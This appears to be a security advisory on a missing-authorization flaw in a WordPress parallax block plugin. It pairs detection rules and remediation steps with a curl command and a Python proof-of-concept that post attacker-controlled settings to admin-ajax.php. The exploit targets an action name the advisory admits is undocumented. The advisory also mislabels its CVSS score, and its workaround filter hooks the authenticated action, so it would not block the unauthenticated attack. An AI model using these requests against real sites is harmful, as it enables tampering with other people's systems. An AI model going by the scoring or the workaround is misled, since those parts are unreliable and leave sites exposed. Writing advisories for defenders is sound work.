CVE-2025-60079

Executive Summary

CVE-2025-60079 is a Missing Authorization vulnerability (CWE-862) in the bPlugins Parallax Section block (parallax-section) for WordPress. This flaw allows unauthenticated attackers to access functionality that should be constrained by Access Control Lists (ACLs). The vulnerability affects all versions from n/a through 1.0.9. As of this report, no official patch has been released, and the vendor's patch status is marked as UNKNOWN/UNPATCHED.

The vulnerability is classified as Medium severity with a CVSS score of 7.1. The EPSS score is 0.0%, indicating a low probability of active exploitation in the wild at this time. However, due to the nature of the flaw (missing authorization checks on server-side functionality), it poses a significant risk to WordPress sites using this plugin, potentially allowing unauthorized data access or manipulation.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. The plugin is not an NPM, PyPI, Go, or Ruby package. The supply chain risk is moderate, as the plugin is directly installed by site administrators. No known malicious commits or backdoors have been identified in the plugin's source code.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Base Score: 7.1 (Medium)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication is needed.
• User Interaction: None (UI:N) – No user action is required.
• Scope: Unchanged (S:U) – The impact is confined to the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited unauthorized data access.
• Integrity Impact: Low (I:L) – Limited unauthorized modification.
• Availability Impact: Low (A:L) – Limited disruption of service.

Threat Level: Medium. While the CVSS score is 7.1, the low EPSS score (0.0%) and lack of public PoC or exploit code reduce the immediate threat. However, the missing authorization flaw could be chained with other vulnerabilities for more severe impact.

Deep Dive & Mechanics

The vulnerability resides in the parallax-section WordPress plugin developed by bPlugins. The plugin provides a Gutenberg block for creating parallax scrolling effects. The flaw is a Missing Authorization check on one or more server-side AJAX endpoints or REST API routes.

In WordPress plugins, it is common to register AJAX actions for both authenticated and unauthenticated users. The vulnerability occurs when a function intended only for authenticated users (e.g., saving settings, fetching sensitive data) is registered without proper capability checks. An attacker can send a crafted HTTP request to the vulnerable endpoint and execute functionality that should be restricted.

The specific endpoint is not publicly documented, but based on the CVE description, it allows "Accessing Functionality Not Properly Constrained by ACLs." This could include:

• Retrieving plugin configuration or sensitive data.
• Modifying plugin settings.
• Triggering resource-intensive operations (e.g., generating thumbnails, clearing caches).

The attack does not require any user interaction or prior authentication, making it exploitable by any remote attacker.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. A typical vulnerable WordPress plugin might have code like:

// VULNERABLE: No capability check
add_action('wp_ajax_nopriv_parallax_section_save_settings', 'parallax_section_save_settings');
add_action('wp_ajax_parallax_section_save_settings', 'parallax_section_save_settings');

function parallax_section_save_settings() {
    // Process and save settings
    update_option('parallax_section_settings', $_POST['settings']);
    wp_send_json_success();
}

The patched version would include a capability check:

// PATCHED: Added capability check
add_action('wp_ajax_parallax_section_save_settings', 'parallax_section_save_settings');

function parallax_section_save_settings() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    // Process and save settings
    update_option('parallax_section_settings', $_POST['settings']);
    wp_send_json_success();
}

Note: The wp_ajax_nopriv_ hook is removed, and a current_user_can() check is added.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with the parallax-section plugin version <= 1.0.9 installed and activated.
• Network access to the target site.

Exploitation Steps:

1. Identify the vulnerable endpoint. Use a tool like Burp Suite or curl to probe for AJAX actions. Common patterns include:

   • /wp-admin/admin-ajax.php?action=parallax_section_*
   • /wp-json/parallax-section/v1/*

2. Craft a malicious request. For example, if the vulnerable action is parallax_section_save_settings:

curl -X POST http://target.com/wp-admin/admin-ajax.php \
  -d "action=parallax_section_save_settings&settings[option_name]=malicious_value"

3. Verify exploitation. Check if the settings were modified by accessing the plugin's settings page or by observing changes in site behavior.

Proof-of-Concept (PoC) Script:

import requests

target = "http://target.com/wp-admin/admin-ajax.php"
payload = {
    "action": "parallax_section_save_settings",
    "settings": {
        "some_option": "attacker_controlled_value"
    }
}

response = requests.post(target, data=payload)
if response.status_code == 200:
    print("Exploitation successful!")
else:
    print("Exploitation failed.")

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual POST requests to /wp-admin/admin-ajax.php with action parameters containing parallax_section.
• Look for requests from unauthenticated users to AJAX endpoints that should require authentication.
• Check server logs for 403 errors on AJAX endpoints (if a WAF blocks the request).

Defense:

• Immediately disable or remove the parallax-section plugin until a patch is available.
• Implement a Web Application Firewall (WAF) rule to block requests to parallax_section_* AJAX actions from unauthenticated users.
• Use a WordPress security plugin (e.g., Wordfence) to monitor for unauthorized AJAX requests.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /wp-admin/admin-ajax.php with action=parallax_section_* from unauthenticated IPs.
• Unusual parameters in POST data targeting plugin settings.

File IOCs:

• Modified WordPress options in the database (e.g., parallax_section_settings).
• Unexpected files in the /wp-content/plugins/parallax-section/ directory.

Log IOCs:

• Repeated 200 OK responses to AJAX requests from the same IP without prior authentication.
• Error logs showing unauthorized access attempts to plugin functionality.

Detection Engineering

YARA Rule

rule Detect_CVE_2025_60079_Exploit {
    meta:
        description = "Detects exploitation attempts for CVE-2025-60079 in WordPress parallax-section plugin"
        author = "Valters IT"
        date = "2025-04-10"
        severity = "medium"
    strings:
        $ajax_action = "parallax_section_" nocase
        $admin_ajax = "admin-ajax.php" nocase
        $post_method = "POST" nocase
    condition:
        $ajax_action and $admin_ajax and $post_method
}

Sigma Rule

title: CVE-2025-60079 - Missing Authorization in bPlugins Parallax Section
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated POST requests to parallax_section AJAX actions
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=parallax_section_'
    condition: selection
falsepositives:
    - Legitimate plugin updates (if any)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-60079 - Missing Authorization in bPlugins Parallax Section"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=parallax_section_"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin: Deactivate and uninstall the parallax-section plugin from all WordPress installations.
2. Monitor for exploitation: Review server logs for any unauthorized AJAX requests targeting parallax_section_* actions.
3. Apply virtual patching: Use a WAF to block requests to parallax_section_* AJAX endpoints from unauthenticated users.

Long-term Fix:

• The vendor (bPlugins) must release a patched version that includes proper capability checks on all AJAX endpoints.
• Site administrators should update the plugin as soon as a patch is available.
• Consider replacing the plugin with an alternative that is actively maintained and has a good security track record.

Workarounds:

• If the plugin is critical, restrict access to /wp-admin/admin-ajax.php using .htaccess rules or a reverse proxy.
• Implement a custom WordPress filter to block unauthenticated AJAX requests to the plugin's actions.

add_filter('wp_ajax_parallax_section_save_settings', function() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
}, 1);

Valters IT – Securing WordPress ecosystems one vulnerability at a time.